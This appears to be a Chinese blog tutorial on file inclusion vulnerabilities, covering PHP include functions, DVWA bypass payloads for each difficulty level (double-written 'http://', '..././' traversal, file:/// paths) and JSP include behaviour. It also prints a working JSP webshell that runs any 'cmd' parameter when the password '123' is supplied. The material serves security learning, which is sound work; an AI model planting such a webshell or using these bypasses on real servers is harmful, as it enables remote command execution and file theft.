文件包含漏洞

目录遍历漏洞在国内外有许多不同的叫法,也可以叫做信息泄露漏洞非授权文件包含漏洞等。

文件包含分类

LFI:本地文件包含(Local File Inclusion)
RFI:远程文件包含(Remote File Inclusion)

与文件包含有关的函数

include():只有代码执行到该函数时才会包含文件进来,发生错误时只给出一个警告并继续向下执行。
include_once():和 include()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
require():只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行。
require_once():和 require()功能相同,区别在于当重复调用同一文件时,程序只调用一次。

相关的 php.ini 配置参数

allow_url_fopen = on    (默认开启)
allow_url_include = on (默认关闭)

远程文件包含是因为开启了 php 配置中的 allow_url_fopen 选项(选项开启之后,服务器允许包含一个远程的文件)。

hackbar

文件上传漏洞需要使用hackbar,一款火狐插件,官网下载

DVWA测试

Low级别

没有任何判断,可以执行任何路径

本地用../等路径查看文件,远程用http等查看文件。

Medium级别

进行了如下字符的过滤

http://
https://
../
..\

本地文件直接用绝对路径,相对路径可以用..././..././..././dvwa/php.ini

远程文件用htthttp://p:

http://www.dvwa.com/vulnerabilities/fi/?page=htthttp://p://127.0.0.1/phpinfo.txt

High级别

要求page参数的开头必须是file,服务器才会去包含相应的文件。

然可以利用file协议绕过防护策略

http://www.dvwa.com/vulnerabilities/fi/?page=file:///F:/phpStudy/PHPTutorial/WWW/dvwa/php.ini

Impossible级别

直接利用白名单机制

jsp的文件包含漏洞

jsp的文件包含分静态包含的动态包含两种:

静态包含:<%@include file="top.jsp"%>

动态包含:<jsp:include page="top.jsp" />

就目前了解静态包含是不存在问题的,因为file的参数不能动态赋值

而动态包含是存在问题的

php文件包含有本地文件包含和远程文件包含两种

java文件包含的时候也是分这两种情况

1.本地文件包含:
目前我对java的本地文件包含的理解为:造成的危害就只有文件读取,一般情况下是不能造成命令执行或代码执行的。php之所以能执行命令是因为包含txt文件,只要txt种的内容符合php程序的格式就能当成php来解析,也就是说攻击者可能上传一个一句话木马后缀是txt,上传后利用文件包含漏洞包含他就可以了。java则没有次特征。所以个人认为java的本地文件包含漏洞很难造成代码执行的漏洞的(当然,要是直接包含一个一句话木马的jsp文件还是可以执行命令的,问题要是有这样一个木马jsp文件,你又知道路径,为什么不知道访问呢?),有种特殊情况就是,通过某种手段在服务器上生成了一句话木马文件但是在特点文件夹下,访问权限不够时可以利用此文件包含漏洞包含她。

html>
<head>
<title>测试页面</title>
</head>
<body>
静态包含
top.jsp文件
<%@include file="top.jsp"%>
<%@include file="pass.txt"%>
<%@include file="WEB-INF/web.xml"%>
<% String name = request.getParameter("name");%>
动态包含
<jsp:include page="top.jsp" />
<jsp:include page="pass.txt" />
<jsp:include page="WEB-INF/web.xml" />
<jsp:include page="http://www.njuae.cn/index.jsp" />
<%-- <jsp:include page="<%=name%>" />--%>
<%--<jsp:include page="oneword.txt" />--%> </body>
</html>

2.远程文件包含:
经测试发现<jsp:include page="http://www.***.com/index.jsp" />能正常包含文件,但是运行时会报错,不知道为什么,以后再研究,目前看来应该是没有该漏洞的。

<%
if("123".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>

参考

http://www.storysec.com/dvwa-file-inclusion.html

文件包含漏洞File Inclusion的更多相关文章

  1. php文件包含漏洞 file inclusion vulnerability

    0x00 何为文件包含漏洞 开发人员如果在写类似include "a.php"的代码时,如果将a.php写成了可变的值,那么就可以在上面做文章,举个理想的例子: <? inc ...

  2. Pikachu漏洞练习平台实验——文件包含(File Inclusion)(六)

    1.概述 1.1简介 在 Web 后台开发中,程序员往往为了提高效率以及让代码看起来更加简洁,会使用 “包含” 函数功能.比如把一系列功能函数都写进 function.php 中,之后当某个文件需要调 ...

  3. DVWA之文件包含(File inclusion)

    daFile inclusion的意思就是文件包含,当服务器开启了allow_url_include选项时,就可以通过PHP的某些特征函数 include,require和include_once,r ...

  4. 文件包含漏洞(file inclusion)

    文件包含漏洞原理:(php) 是指当服务器开启allow_url_include选项的时候,通过php某些特性函数.如include().include_once().require().requir ...

  5. Pikachu-File Inclusion(文件包含漏洞)

    File Inclusion(文件包含漏洞)概述 文件包含,是一个功能.在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件. 比如 在PHP中 ...

  6. PHP文件包含漏洞剖析

    一. 什么才是”远程文件包含漏洞”?回答是:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的. ...

  7. php文件包含漏洞(利用phpinfo)复现

     利用docker复现该漏洞,访问http://192.168.80.156:8080/phpinfo.php,可以看到页面出现phpinfo页面 再访问http://192.168.80.156:8 ...

  8. 本地文件包含漏洞(LFI漏洞)

    0x00 前言 本文的主要目的是分享在服务器遭受文件包含漏洞时,使用各种技术对Web服务器进行攻击的想法. 我们都知道LFI漏洞允许用户通过在URL中包括一个文件.在本文中,我使用了bWAPP和DVW ...

  9. python打造文件包含漏洞检测工具

    0x00前言: 做Hack the box的题.感觉那个平台得开个VIp 不然得凉.一天只能重置一次...mmp 做的那题毒药是文件包含漏洞的题,涉及到了某个工具 看的不错就开发了一个. 0x01代码 ...

随机推荐

  1. 【spring源码学习】spring事务中的嵌套事务中的保存点相关知识

    JDBC事务保存点(setSavepoint, releaseSavepoint )实例 以下是使用事务教程中描述的setSavepoint和回滚的代码示例. 此示例代码是基于前面章节中完成的环境和数 ...

  2. 关于最新版本的flutter在安卓打包的问题解决方法

    1.集成友盟push提示androidx版本号不一致,需在gradle文件中手动选择即可,如下 buildscript { repositories { google() jcenter() mave ...

  3. android -------- AndroidX的迁移

    Google 2018 IO 大会推出了 Android新的扩展库 AndroidX,用于替换原来的 Android扩展库,将原来的android.*替换成androidx.*:只有包名和Maven工 ...

  4. mysql插入报错:java.sql.SQLException: Incorrect string value: '\xE6\x9D\xAD\xE5\xB7\x9E...' for column 'address' at row 1

    界面报错: 日志报错: java.sql.SQLException: Incorrect at com.mysql.cj.jdbc.exceptions.SQLError.createSQLExcep ...

  5. 类加载器ClassLoader源码解析

    1.ClassLoader作用 类加载流程的"加载"阶段是由类加载器完成的. 2.类加载器结构 结构:BootstrapClassLoader(祖父)-->ExtClassL ...

  6. python 使用 elasticsearch 常用方法(检索)

    #记录es查询等方法 #清楚数据 curl -XDELETE http://xx.xx.xx.xx:9200/test6 #初始化数据 curl -H "Content-Type: appl ...

  7. 自定义MyBatis

    自定义MyBatis是为了深入了解MyBatis的原理 主要的调用是这样的: //1.读取配置文件 InputStream in = Resources.getResourceAsStream(&qu ...

  8. git clone 某个链接时候报错Initialized empty Git repository in 不能克隆

    查看下是不是git是不是1.7.1版本. git --version 使用 yum -y update 更新一下. 再使用git clone 虽然还是会提示这个报错,但是可以克隆了.亲测有效. git ...

  9. K8S使用入门-创建第一个容器

    前面两个教程我们已经使用kubekit将K8S搭建起来了.但是,没有将实际使用中需要在K8S上部署我们的容器创建起来的教程,都是耍流氓.所以,经过几番折腾,我回来给自己洗白了.之前一直卡在创建第一个容 ...

  10. Java分布式:分布式锁之Zookeeper

    Java分布式:分布式锁之Zookeeper 分布式锁系列教程重点分享锁实现原理 引入ZooKeeper ZooKeeper是什么呢? ZooKeeper 是一个开源的分布式协调服务,它可以在分布式系 ...